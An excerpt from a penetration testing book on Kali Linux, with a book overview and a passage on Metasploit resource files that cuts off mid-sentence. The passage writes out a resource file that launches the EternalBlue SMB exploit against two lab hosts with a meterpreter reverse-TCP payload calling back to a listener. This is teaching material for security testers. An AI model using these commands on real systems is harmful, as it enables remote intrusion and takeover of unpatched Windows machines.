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Mastering Kali Linux for Advanced Penetration Testing - Third Edition

By : Vijay Kumar Velu, Robert Beggs
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Mastering Kali Linux for Advanced Penetration Testing - Third Edition

By: Vijay Kumar Velu, Robert Beggs

Overview of this book

This book takes you, as a tester or security practitioner, through the reconnaissance, vulnerability assessment, exploitation, privilege escalation, and post-exploitation activities used by pentesters. To start with, you'll use a laboratory environment to validate tools and techniques, along with an application that supports a collaborative approach for pentesting. You'll then progress to passive reconnaissance with open source intelligence and active reconnaissance of the external and internal infrastructure. You'll also focus on how to select, use, customize, and interpret the results from different vulnerability scanners, followed by examining specific routes to the target, which include bypassing physical security and the exfiltration of data using a variety of techniques. You'll discover concepts such as social engineering, attacking wireless networks, web services, and embedded devices. Once you are confident with these topics, you'll learn the practical aspects of attacking user client systems by backdooring with fileless techniques, followed by focusing on the most vulnerable part of the network – directly attacking the end user. By the end of this book, you'll have explored approaches for carrying out advanced pentesting in tightly secured environments, understood pentesting and hacking techniques employed on embedded peripheral devices.
Table of Contents (16 chapters)

Exploiting multiple targets using MSF resource files


MSF resource files are basically line-separated text files that include a sequence of commands that need to be executed in msfconsole. Let's go ahead and create a resource file that can exploit the same vulnerability on multiple hosts:

use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcpset rhost 192.168.0.166set lhost 192.168.0.137set lport 4444exploit -juse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcpset rhost 192.168.0.119set lhost 192.168.0.137set lport 4442exploit -j

 

 

 

 

 

 

 

 

Save the file as doublepulsar.rc. Now you are ready to invoke the resource file by running msfconsole -r filename.rc, where -r refers to the resource file. The preceding resource file will exploit the same vulnerability sequentially. Once the first exploit is complete, the specification of exploit -j will move the running exploit to the background, allowing the next exploit to proceed...